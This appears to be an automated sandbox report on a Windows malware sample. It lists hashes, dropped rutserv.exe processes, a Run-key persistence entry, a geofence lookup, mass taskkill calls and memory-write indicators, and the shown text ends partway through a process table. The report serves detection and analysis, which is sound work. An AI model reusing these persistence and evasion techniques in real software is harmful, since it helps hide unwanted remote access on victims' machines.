ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb

Analysis

max time kernel
146s
max time network
149s
platform
windows7_x64
resource
win7v20201028
submitted
01-11-2020 10:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe
Size

4.9MB
MD5

8817ae0956677b821ae053b7fff41968
SHA1

a0e0577c501355b80f7d1240cf9b850598bc0730
SHA256

ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb
SHA512

0d0e7d149d7bf6217b9e169fbcb8a85460f8d20f1868b2ae6f686e2211f6cf6c2fa89831d72d8a34c4135252d5b99d48203cac58490c38411c98e9f0447c9883

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 3 IoCs

pid	Process
1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp
324	rutserv.exe
328	rutserv.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Control Panel\International\Geo\Nation	rutserv.exe

Loads dropped DLL 6 IoCs

pid	Process
1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe
1624	cmd.exe
324	rutserv.exe
324	rutserv.exe
328	rutserv.exe
328	rutserv.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\nots = "C:\\ProgramData\\Immunity\\rutserv.exe"	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral1/files/0x00030000000130f3-16.dat	js
behavioral1/files/0x00030000000130f3-17.dat	js
behavioral1/files/0x00030000000130f3-462.dat	js

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1124	timeout.exe
1872	timeout.exe

Kills process with taskkill 100 IoCs

evasion

pid	Process
920	taskkill.exe
980	taskkill.exe
1808	taskkill.exe
948	taskkill.exe
1896	taskkill.exe
1776	taskkill.exe
324	taskkill.exe
1752	taskkill.exe
1532	taskkill.exe
1496	taskkill.exe
1644	taskkill.exe
1900	taskkill.exe
1156	taskkill.exe
1552	taskkill.exe
1620	taskkill.exe
1740	taskkill.exe
1328	taskkill.exe
980	taskkill.exe
404	taskkill.exe
1716	taskkill.exe
1548	taskkill.exe
1492	taskkill.exe
1892	taskkill.exe
432	taskkill.exe
1708	taskkill.exe
1872	taskkill.exe
1960	taskkill.exe
1740	taskkill.exe
432	taskkill.exe
1276	taskkill.exe
1200	taskkill.exe
1320	taskkill.exe
1516	taskkill.exe
432	taskkill.exe
1012	taskkill.exe
1716	taskkill.exe
964	taskkill.exe
1320	taskkill.exe
1636	taskkill.exe
916	taskkill.exe
1620	taskkill.exe
1484	taskkill.exe
432	taskkill.exe
1772	taskkill.exe
816	taskkill.exe
1740	taskkill.exe
980	taskkill.exe
972	taskkill.exe
916	taskkill.exe
308	taskkill.exe
1696	taskkill.exe
1096	taskkill.exe
340	taskkill.exe
308	taskkill.exe
1492	taskkill.exe
928	taskkill.exe
832	taskkill.exe
1900	taskkill.exe
1724	taskkill.exe
1800	taskkill.exe
1500	taskkill.exe
848	taskkill.exe
924	taskkill.exe
1620	taskkill.exe
916	taskkill.exe
976	taskkill.exe
1756	taskkill.exe
1808	taskkill.exe
924	taskkill.exe
1136	taskkill.exe
976	taskkill.exe
972	taskkill.exe
1700	taskkill.exe
756	taskkill.exe
1880	taskkill.exe
808	taskkill.exe
1760	taskkill.exe
1028	taskkill.exe
1516	taskkill.exe
1752	taskkill.exe
1636	taskkill.exe
1808	taskkill.exe
1204	taskkill.exe
1516	taskkill.exe
1864	taskkill.exe
324	taskkill.exe
1880	taskkill.exe
1204	taskkill.exe
1620	taskkill.exe
1292	taskkill.exe
1864	taskkill.exe
1964	taskkill.exe
1068	taskkill.exe
976	taskkill.exe
1532	taskkill.exe
1352	taskkill.exe
512	taskkill.exe
924	taskkill.exe
980	taskkill.exe
848	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1724	PING.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp
1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe

Suspicious use of AdjustPrivilegeToken 104 IoCs

description	pid	Process
Token: SeDebugPrivilege	1204	taskkill.exe
Token: SeDebugPrivilege	1900	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	324	rutserv.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	1700	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	1896	taskkill.exe
Token: SeTakeOwnershipPrivilege	328	rutserv.exe
Token: SeTcbPrivilege	328	rutserv.exe
Token: SeDebugPrivilege	1644	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	1352	taskkill.exe
Token: SeTcbPrivilege	328	rutserv.exe
Token: SeDebugPrivilege	1776	taskkill.exe
Token: SeDebugPrivilege	404	taskkill.exe
Token: SeDebugPrivilege	308	taskkill.exe
Token: SeDebugPrivilege	1716	taskkill.exe
Token: SeDebugPrivilege	1900	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeDebugPrivilege	324	taskkill.exe
Token: SeDebugPrivilege	756	taskkill.exe
Token: SeDebugPrivilege	1012	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	512	taskkill.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeDebugPrivilege	1864	taskkill.exe
Token: SeDebugPrivilege	1724	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	916	taskkill.exe
Token: SeDebugPrivilege	1516	taskkill.exe
Token: SeDebugPrivilege	1492	taskkill.exe
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	976	taskkill.exe
Token: SeDebugPrivilege	1752	taskkill.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	1800	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	928	taskkill.exe
Token: SeDebugPrivilege	808	taskkill.exe
Token: SeDebugPrivilege	1964	taskkill.exe
Token: SeDebugPrivilege	1204	taskkill.exe
Token: SeDebugPrivilege	1552	taskkill.exe
Token: SeDebugPrivilege	1716	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	916	taskkill.exe
Token: SeDebugPrivilege	1516	taskkill.exe
Token: SeDebugPrivilege	1276	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	308	taskkill.exe
Token: SeDebugPrivilege	964	taskkill.exe
Token: SeDebugPrivilege	1696	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	1708	taskkill.exe
Token: SeDebugPrivilege	1872	taskkill.exe
Token: SeDebugPrivilege	1028	taskkill.exe
Token: SeDebugPrivilege	1068	taskkill.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	1496	taskkill.exe
Token: SeDebugPrivilege	1864	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	1960	taskkill.exe
Token: SeDebugPrivilege	1500	taskkill.exe
Token: SeDebugPrivilege	916	taskkill.exe
Token: SeDebugPrivilege	1516	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	976	taskkill.exe
Token: SeDebugPrivilege	1752	taskkill.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	1200	taskkill.exe
Token: SeDebugPrivilege	324	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	832	taskkill.exe
Token: SeDebugPrivilege	1880	taskkill.exe
Token: SeDebugPrivilege	1136	taskkill.exe
Token: SeDebugPrivilege	1328	taskkill.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	1772	taskkill.exe
Token: SeDebugPrivilege	1808	taskkill.exe
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	980	taskkill.exe
Token: SeDebugPrivilege	1548	taskkill.exe
Token: SeDebugPrivilege	816	taskkill.exe
Token: SeDebugPrivilege	1492	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	976	taskkill.exe
Token: SeDebugPrivilege	948	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	340	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
324	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe
328	rutserv.exe

Suspicious use of WriteProcessMemory 443 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1688 wrote to memory of 1240	1688	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.exe	26
PID 1240 wrote to memory of 776	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	29
PID 1240 wrote to memory of 776	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	29
PID 1240 wrote to memory of 776	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	29
PID 1240 wrote to memory of 776	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	29
PID 776 wrote to memory of 1724	776	cmd.exe	32
PID 776 wrote to memory of 1724	776	cmd.exe	32
PID 776 wrote to memory of 1724	776	cmd.exe	32
PID 776 wrote to memory of 1724	776	cmd.exe	32
PID 776 wrote to memory of 980	776	cmd.exe	33
PID 776 wrote to memory of 980	776	cmd.exe	33
PID 776 wrote to memory of 980	776	cmd.exe	33
PID 776 wrote to memory of 980	776	cmd.exe	33
PID 1240 wrote to memory of 1624	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	34
PID 1240 wrote to memory of 1624	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	34
PID 1240 wrote to memory of 1624	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	34
PID 1240 wrote to memory of 1624	1240	ee0400adcec67d05e4b6825df53ff7e5fb5d86680a65264976940239c322d9fb.tmp	34
PID 1624 wrote to memory of 1520	1624	cmd.exe	36
PID 1624 wrote to memory of 1520	1624	cmd.exe	36
PID 1624 wrote to memory of 1520	1624	cmd.exe	36
PID 1624 wrote to memory of 1520	1624	cmd.exe	36
PID 1624 wrote to memory of 1124	1624	cmd.exe	37
PID 1624 wrote to memory of 1124	1624	cmd.exe	37
PID 1624 wrote to memory of 1124	1624	cmd.exe	37
PID 1624 wrote to memory of 1124	1624	cmd.exe	37
PID 1624 wrote to memory of 324	1624	cmd.exe	38
PID 1624 wrote to memory of 324	1624	cmd.exe	38
PID 1624 wrote to memory of 324	1624	cmd.exe	38
PID 1624 wrote to memory of 324	1624	cmd.exe	38
PID 1624 wrote to memory of 1204	1624	cmd.exe	39
PID 1624 wrote to memory of 1204	1624	cmd.exe	39
PID 1624 wrote to memory of 1204	1624	cmd.exe	39
PID 1624 wrote to memory of 1204	1624	cmd.exe	39
PID 1624 wrote to memory of 1900	1624	cmd.exe	41
PID 1624 wrote to memory of 1900	1624	cmd.exe	41
PID 1624 wrote to memory of 1900	1624	cmd.exe	41
PID 1624 wrote to memory of 1900	1624	cmd.exe	41
PID 1624 wrote to memory of 1620	1624	cmd.exe	42
PID 1624 wrote to memory of 1620	1624	cmd.exe	42
PID 1624 wrote to memory of 1620	1624	cmd.exe	42
PID 1624 wrote to memory of 1620	1624	cmd.exe	42
PID 1624 wrote to memory of 1636	1624	cmd.exe	43
PID 1624 wrote to memory of 1636	1624	cmd.exe	43
PID 1624 wrote to memory of 1636	1624	cmd.exe	43
PID 1624 wrote to memory of 1636	1624	cmd.exe	43
PID 1624 wrote to memory of 1700	1624	cmd.exe	44
PID 1624 wrote to memory of 1700	1624	cmd.exe	44
PID 1624 wrote to memory of 1700	1624	cmd.exe	44
PID 1624 wrote to memory of 1700	1624	cmd.exe	44
PID 1624 wrote to memory of 1740	1624	cmd.exe	45
PID 1624 wrote to memory of 1740	1624	cmd.exe	45
PID 1624 wrote to memory of 1740	1624	cmd.exe	45
PID 1624 wrote to memory of 1740	1624	cmd.exe	45
PID 1624 wrote to memory of 1484	1624	cmd.exe	47
PID 1624 wrote to memory of 1484	1624	cmd.exe	47
PID 1624 wrote to memory of 1484	1624	cmd.exe	47
PID 1624 wrote to memory of 1484	1624	cmd.exe	47
PID 1624 wrote to memory of 1896	1624	cmd.exe	48
PID 1624 wrote to memory of 1896	1624	cmd.exe	48
PID 1624 wrote to memory of 1896	1624	cmd.exe	48
PID 1624 wrote to memory of 1896	1624	cmd.exe	48
PID 1624 wrote to memory of 1644	1624	cmd.exe	49
PID 1624 wrote to memory of 1644	1624	cmd.exe	49
PID 1624 wrote to memory of 1644	1624	cmd.exe	49
PID 1624 wrote to memory of 1644	1624	cmd.exe	49
PID 1624 wrote to memory of 980	1624	cmd.exe	50
PID 1624 wrote to memory of 980	1624	cmd.exe	50
PID 1624 wrote to memory of 980	1624	cmd.exe	50
PID 1624 wrote to memory of 980	1624	cmd.exe	50
PID 1624 wrote to memory of 432	1624	cmd.exe	51
PID 1624 wrote to memory of 432	1624	cmd.exe	51
PID 1624 wrote to memory of 432	1624	cmd.exe	51
PID 1624 wrote to memory of 432	1624	cmd.exe	51
PID 1624 wrote to memory of 1352	1624	cmd.exe	52
PID 1624 wrote to memory of 1352	1624	cmd.exe	52
PID 1624 wrote to memory of 1352	1624	cmd.exe	52
PID 1624 wrote to memory of 1352	1624	cmd.exe	52
PID 1624 wrote to memory of 1776	1624	cmd.exe	53
PID 1624 wrote to memory of 1776	1624	cmd.exe	53
PID 1624 wrote to memory of 1776	1624	cmd.exe	53
PID 1624 wrote to memory of 1776	1624	cmd.exe	53
PID 1624 wrote to memory of 404	1624	cmd.exe	54
PID 1624 wrote to memory of 404	1624	cmd.exe	54
PID 1624 wrote to memory of 404	1624	cmd.exe	54
PID 1624 wrote to memory of 404	1624	cmd.exe	54
PID 1624 wrote to memory of 308	1624	cmd.exe	55
PID 1624 wrote to memory of 308	1624	cmd.exe	55
PID 1624 wrote to memory of 308	1624	cmd.exe	55
PID 1624 wrote to memory of 308	1624	cmd.exe	55
PID 1624 wrote to memory of 1716	1624	cmd.exe	56
PID 1624 wrote to memory of 1716	1624	cmd.exe	56
PID 1624 wrote to memory of 1716	1624	cmd.exe	56
PID 1624 wrote to memory of 1716	1624	cmd.exe	56
PID 1624 wrote to memory of 1900	1624	cmd.exe	57
PID 1624 wrote to memory of 1900	1624	cmd.exe	57
PID 1624 wrote to memory of 1900	1624	cmd.exe	57
PID 1624 wrote to memory of 1900	1624	cmd.exe	57
PID 1624 wrote to memory of 1620	1624	cmd.exe	58
PID 1624 wrote to memory of 1620	1624	cmd.exe	58
PID 1624 wrote to memory of 1620	1624	cmd.exe	58
PID 1624 wrote to memory of 1620	1624	cmd.exe	58
PID 1624 wrote to memory of 1808	1624	cmd.exe	59
PID 1624 wrote to memory of 1808	1624	cmd.exe	59
PID 1624 wrote to memory of 1808	1624	cmd.exe	59
PID 1624 wrote to memory of 1808	1624	cmd.exe	59
PID 1624 wrote to memory of 1156	1624	cmd.exe	60
PID 1624 wrote to memory of 1156	1624	cmd.exe	60
PID 1624 wrote to memory of 1156	1624	cmd.exe	60
PID 1624 wrote to memory of 1156	1624	cmd.exe	60
PID 1624 wrote to memory of 324	1624	cmd.exe	61
PID 1624 wrote to memory of 324	1624	cmd.exe	61
PID 1624 wrote to memory of 324	1624	cmd.exe	61
PID 1624 wrote to memory of 324	1624	cmd.exe	61
PID 1624 wrote to memory of 756	1624	cmd.exe	62
PID 1624 wrote to memory of 756	1624	cmd.exe	62
PID 1624 wrote to memory of 756	1624	cmd.exe	62
PID 1624 wrote to memory of 756	1624	cmd.exe	62
PID 1624 wrote to memory of 1012	1624	cmd.exe	63
PID 1624 wrote to memory of 1012	1624	cmd.exe	63
PID 1624 wrote to memory of 1012	1624	cmd.exe	63
PID 1624 wrote to memory of 1012	1624	cmd.exe	63
PID 1624 wrote to memory of 1880	1624	cmd.exe	64
PID 1624 wrote to memory of 1880	1624	cmd.exe	64
PID 1624 wrote to memory of 1880	1624	cmd.exe	64
PID 1624 wrote to memory of 1880	1624	cmd.exe	64
PID 1624 wrote to memory of 512	1624	cmd.exe	65
PID 1624 wrote to memory of 512	1624	cmd.exe	65
PID 1624 wrote to memory of 512	1624	cmd.exe	65
PID 1624 wrote to memory of 512	1624	cmd.exe	65
PID 1624 wrote to memory of 1292	1624	cmd.exe	66
PID 1624 wrote to memory of 1292	1624	cmd.exe	66
PID 1624 wrote to memory of 1292	1624	cmd.exe	66
PID 1624 wrote to memory of 1292	1624	cmd.exe	66
PID 1624 wrote to memory of 920	1624	cmd.exe	67
PID 1624 wrote to memory of 920	1624	cmd.exe	67
PID 1624 wrote to memory of 920	1624	cmd.exe	67
PID 1624 wrote to memory of 920	1624	cmd.exe	67
PID 1624 wrote to memory of 1864	1624	cmd.exe	68
PID 1624 wrote to memory of 1864	1624	cmd.exe	68
PID 1624 wrote to memory of 1864	1624	cmd.exe	68
PID 1624 wrote to memory of 1864	1624	cmd.exe	68
PID 1624 wrote to memory of 1724	1624	cmd.exe	69
PID 1624 wrote to memory of 1724	1624	cmd.exe	69
PID 1624 wrote to memory of 1724	1624	cmd.exe	69
PID 1624 wrote to memory of 1724	1624	cmd.exe	69
PID 1624 wrote to memory of 980	1624	cmd.exe	70
PID 1624 wrote to memory of 980	1624	cmd.exe	70
PID 1624 wrote to memory of 980	1624	cmd.exe	70
PID 1624 wrote to memory of 980	1624	cmd.exe	70
PID 1624 wrote to memory of 916	1624	cmd.exe	71
PID 1624 wrote to memory of 916	1624	cmd.exe	71
PID 1624 wrote to memory of 916	1624	cmd.exe	71
PID 1624 wrote to memory of 916	1624	cmd.exe	71
PID 1624 wrote to memory of 1516	1624	cmd.exe	72
PID 1624 wrote to memory of 1516	1624	cmd.exe	72
PID 1624 wrote to memory of 1516	1624	cmd.exe	72
PID 1624 wrote to memory of 1516	1624	cmd.exe	72
PID 1624 wrote to memory of 1492	1624	cmd.exe	73
PID 1624 wrote to memory of 1492	1624	cmd.exe	73
PID 1624 wrote to memory of 1492	1624	cmd.exe	73
PID 1624 wrote to memory of 1492	1624	cmd.exe	73
PID 1624 wrote to memory of 1756	1624	cmd.exe	74
PID 1624 wrote to memory of 1756	1624	cmd.exe	74
PID 1624 wrote to memory of 1756	1624	cmd.exe	74
PID 1624 wrote to memory of 1756	1624	cmd.exe	74
PID 1624 wrote to memory of 1892	1624	cmd.exe	75
PID 1624 wrote to memory of 1892	1624	cmd.exe	75
PID 1624 wrote to memory of 1892	1624	cmd.exe	75
PID 1624 wrote to memory of 1892	1624	cmd.exe	75
PID 1624 wrote to memory of 976	1624	cmd.exe	76
PID 1624 wrote to memory of 976	1624	cmd.exe	76
PID 1624 wrote to memory of 976	1624	cmd.exe	76
PID 1624 wrote to memory of 976	1624	cmd.exe	76
PID 1624 wrote to memory of 1752	1624	cmd.exe	77
PID 1624 wrote to memory of 1752	1624	cmd.exe	77
PID 1624 wrote to memory of 1752	1624	cmd.exe	77
PID 1624 wrote to memory of 1752	1624	cmd.exe	77
PID 1624 wrote to memory of 1532	1624	cmd.exe	78
PID 1624 wrote to memory of 1532	1624	cmd.exe	78
PID 1624 wrote to memory of 1532	1624	cmd.exe	78
PID 1624 wrote to memory of 1532	1624	cmd.exe	78
PID 1624 wrote to memory of 1800	1624	cmd.exe	79
PID 1624 wrote to memory of 1800	1624	cmd.exe	79
PID 1624 wrote to memory of 1800	1624	cmd.exe	79
PID 1624 wrote to memory of 1800	1624	cmd.exe	79
PID 1624 wrote to memory of 432	1624	cmd.exe	80
PID 1624 wrote to memory of 432	1624	cmd.exe	80
PID 1624 wrote to memory of 432	1624	cmd.exe	80
PID 1624 wrote to memory of 432	1624	cmd.exe	80
PID 1624 wrote to memory of 928	1624	cmd.exe	81
PID 1624 wrote to memory of 928	1624	cmd.exe	81
PID 1624 wrote to memory of 928	1624	cmd.exe	81
PID 1624 wrote to memory of 928	1624	cmd.exe	81
PID 1624 wrote to memory of 808	1624	cmd.exe	82
PID 1624 wrote to memory of 808	1624	cmd.exe	82
PID 1624 wrote to memory of 808	1624	cmd.exe	82
PID 1624 wrote to memory of 808	1624	cmd.exe	82
PID 1624 wrote to memory of 1964	1624	cmd.exe	83
PID 1624 wrote to memory of 1964	1624	cmd.exe	83
PID 1624 wrote to memory of 1964	1624	cmd.exe	83
PID 1624 wrote to memory of 1964	1624	cmd.exe	83
PID 1624 wrote to memory of 1204	1624	cmd.exe	84
PID 1624 wrote to memory of 1204	1624	cmd.exe	84
PID 1624 wrote to memory of 1204	1624	cmd.exe	84
PID 1624 wrote to memory of 1204	1624	cmd.exe	84
PID 1624 wrote to memory of 1552	1624	cmd.exe	85
PID 1624 wrote to memory of 1552	1624	cmd.exe	85
PID 1624 wrote to memory of 1552	1624	cmd.exe	85
PID 1624 wrote to memory of 1552	1624	cmd.exe	85
PID 1624 wrote to memory of 1716	1624	cmd.exe	86
PID 1624 wrote to memory of 1716	1624	cmd.exe	86
PID 1624 wrote to memory of 1716	1624	cmd.exe	86
PID 1624 wrote to memory of 1716	1624	cmd.exe	86
PID 1624 wrote to memory of 1760	1624	cmd.exe	87
PID 1624 wrote to memory of 1760	1624	cmd.exe	87
PID 1624 wrote to memory of 1760	1624	cmd.exe	87
PID 1624 wrote to memory of 1760	1624	cmd.exe	87
PID 1624 wrote to memory of 1808	1624	cmd.exe	88
PID 1624 wrote to memory of 1808	1624	cmd.exe	88
PID 1624 wrote to memory of 1808	1624	cmd.exe	88
PID 1624 wrote to memory of 1808	1624	cmd.exe	88
PID 1624 wrote to memory of 848	1624	cmd.exe	89
PID 1624 wrote to memory of 848	1624	cmd.exe	89
PID 1624 wrote to memory of 848	1624	cmd.exe	89
PID 1624 wrote to memory of 848	1624	cmd.exe	89
PID 1624 wrote to memory of 980	1624	cmd.exe	90
PID 1624 wrote to memory of 980	1624	cmd.exe	90
PID 1624 wrote to memory of 980	1624	cmd.exe	90
PID 1624 wrote to memory of 980	1624	cmd.exe	90
PID 1624 wrote to memory of 916	1624	cmd.exe	91
PID 1624 wrote to memory of 916	1624	cmd.exe	91
PID 1624 wrote to memory of 916	1624	cmd.exe	91
PID 1624 wrote to memory of 916	1624	cmd.exe	91
PID 1624 wrote to memory of 1516	1624	cmd.exe	92
PID 1624 wrote to memory of 1516	1624	cmd.exe	92
PID 1624 wrote to memory of 1516	1624	cmd.exe	92
PID 1624 wrote to memory of 1516	1624	cmd.exe	92
PID 1624 wrote to memory of 1276	1624	cmd.exe	93
PID 1624 wrote to memory of 1276	1624	cmd.exe	93
PID 1624 wrote to memory of 1276	1624	cmd.exe	93
PID 1624 wrote to memory of 1276	1624	cmd.exe	93
PID 1624 wrote to memory of 924	1624	cmd.exe	94
PID 1624 wrote to memory of 924	1624	cmd.exe	94
PID 1624 wrote to memory of 924	1624	cmd.exe	94
PID 1624 wrote to memory of 924	1624	cmd.exe	94
PID 1624 wrote to memory of 308	1624	cmd.exe	95
PID 1624 wrote to memory of 308	1624	cmd.exe	95
PID 1624 wrote to memory of 308	1624	cmd.exe	95
PID 1624 wrote to memory of 308	1624	cmd.exe	95
PID 1624 wrote to memory of 964	1624	cmd.exe	96
PID 1624 wrote to memory of 964	1624	cmd.exe	96
PID 1624 wrote to memory of 964	1624	cmd.exe	96
PID 1624 wrote to memory of 964	1624	cmd.exe	96
PID 1624 wrote to memory of 1696	1624	cmd.exe	97
PID 1624 wrote to memory of 1696	1624	cmd.exe	97
PID 1624 wrote to memory of 1696	1624	cmd.exe	97
PID 1624 wrote to memory of 1696	1624	cmd.exe	97
PID 1624 wrote to memory of 1620	1624	cmd.exe	98
PID 1624 wrote to memory of 1620	1624	cmd.exe	98
PID 1624 wrote to memory of 1620	1624	cmd.exe	98
PID 1624 wrote to memory of 1620	1624	cmd.exe	98
PID 1624 wrote to memory of 972	1624	cmd.exe	99
PID 1624 wrote to memory of 972	1624	cmd.exe	99
PID 1624 wrote to memory of 972	1624	cmd.exe	99
PID 1624 wrote to memory of 972	1624	cmd.exe	99
PID 1624 wrote to memory of 432	1624	cmd.exe	100
PID 1624 wrote to memory of 432	1624	cmd.exe	100
PID 1624 wrote to memory of 432	1624	cmd.exe	100
PID 1624 wrote to memory of 432	1624	cmd.exe	100
PID 1624 wrote to memory of 1708	1624	cmd.exe	101
PID 1624 wrote to memory of 1708	1624	cmd.exe	101
PID 1624 wrote to memory of 1708	1624	cmd.exe	101
PID 1624 wrote to memory of 1708	1624	cmd.exe	101
PID 1624 wrote to memory of 1872	1624	cmd.exe	102
PID 1624 wrote to memory of 1872	1624	cmd.exe	102
PID 1624 wrote to memory of 1872	1624	cmd.exe	102
PID 1624 wrote to memory of 1872	1624	cmd.exe	102
PID 1624 wrote to memory of 1028	1624	cmd.exe	103
PID 1624 wrote to memory of 1028	1624	cmd.exe	103
PID 1624 wrote to memory of 1028	1624	cmd.exe	103
PID 1624 wrote to memory of 1028	1624	cmd.exe	103
PID 1624 wrote to memory of 1068	1624	cmd.exe	104
PID 1624 wrote to memory of 1068	1624	cmd.exe	104
PID 1624 wrote to memory of 1068	1624	cmd.exe	104
PID 1624 wrote to memory of 1068	1624	cmd.exe	104
PID 1624 wrote to memory of 1320	1624	cmd.exe	105
PID 1624 wrote to memory of 1320	1624	cmd.exe	105
PID 1624 wrote to memory of 1320	1624	cmd.exe	105
PID 1624 wrote to memory of 1320	1624	cmd.exe	105
PID 1624 wrote to memory of 1496	1624	cmd.exe	106
PID 1624 wrote to memory of 1496	1624	cmd.exe	106
PID 1624 wrote to memory of 1496	1624	cmd.exe	106
PID 1624 wrote to memory of 1496	1624	cmd.exe	106
PID 1624 wrote to memory of 1864	1624	cmd.exe	107
PID 1624 wrote to memory of 1864	1624	cmd.exe	107
PID 1624 wrote to memory of 1864	1624	cmd.exe	107
PID 1624 wrote to memory of 1864	1624	cmd.exe	107
PID 1624 wrote to memory of 1636	1624	cmd.exe	108
PID 1624 wrote to memory of 1636	1624	cmd.exe	108
PID 1624 wrote to memory of 1636	1624	cmd.exe	108
PID 1624 wrote to memory of 1636	1624	cmd.exe	108
PID 1624 wrote to memory of 1960	1624	cmd.exe	109
PID 1624 wrote to memory of 1960	1624	cmd.exe	109
PID 1624 wrote to memory of 1960	1624	cmd.exe	109
PID 1624 wrote to memory of 1960	1624	cmd.exe	109
PID 1624 wrote to memory of 1500	1624	cmd.exe	110
PID 1624 wrote to memory of 1500	1624	cmd.exe	110
PID 1624 wrote to memory of 1500	1624	cmd.exe	110
PID 1624 wrote to memory of 1500	1624	cmd.exe	110
PID 1624 wrote to memory of 916	1624	cmd.exe	111
PID 1624 wrote to memory of 916	1624	cmd.exe	111
